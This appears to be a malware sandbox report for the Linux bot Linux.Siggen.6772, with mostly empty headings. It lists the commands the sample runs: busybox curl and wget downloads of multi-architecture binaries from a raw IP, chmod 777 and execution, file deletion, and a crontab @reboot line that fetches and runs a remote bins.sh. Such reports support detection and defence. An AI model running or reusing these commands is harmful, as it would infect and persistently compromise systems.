Linux.Siggen.6772

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

Launches processes:

/bin/busybox curl -O http://194.169.175.43/x86
/bin/busybox curl -O http://194.169.175.43/arm4
/bin/busybox wget http://194.169.175.43/arm6
/bin/busybox curl -O http://194.169.175.43/x86_64
./x86 cronx86
/bin/busybox curl -O http://194.169.175.43/mpsl
rm -rf arm5
rm -rf x86
/bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh
/bin/busybox wget http://194.169.175.43/x86_64
chmod 777 arm6
chmod 777 arm5
chmod 777 x86
crontab -l
(crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
/bin/busybox curl -O http://194.169.175.43/mips
/bin/busybox curl -O http://194.169.175.43/arm5
chmod 777 mips
chmod 777 arm4
./x86_64 cronx86_64
/bin/busybox wget http://194.169.175.43/mips
crontab -
rm -rf mpsl
chmod +x bins.sh
rm -rf arm4
rm -rf x86_64
/bin/busybox wget http://194.169.175.43/x86
/bin/busybox curl -O http://194.169.175.43/arm6
rm -rf arm7
sh bins.sh
/bin/busybox curl -O http://194.169.175.43/arm7
rm -rf mips
/bin/busybox wget http://194.169.175.43/arm5
/bin/busybox wget http://194.169.175.43/arm7
chmod 777 x86_64
rm -rf arm6
/bin/busybox wget http://194.169.175.43/mpsl
/bin/busybox wget http://194.169.175.43/arm4
chmod 777 mpsl
chmod 777 arm7

Kills the following processes:

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Network activity:

Awaits incoming connections on ports:

Establishes connection:

DNS ASK:

Sends data to the following servers:

Receives data from the following servers: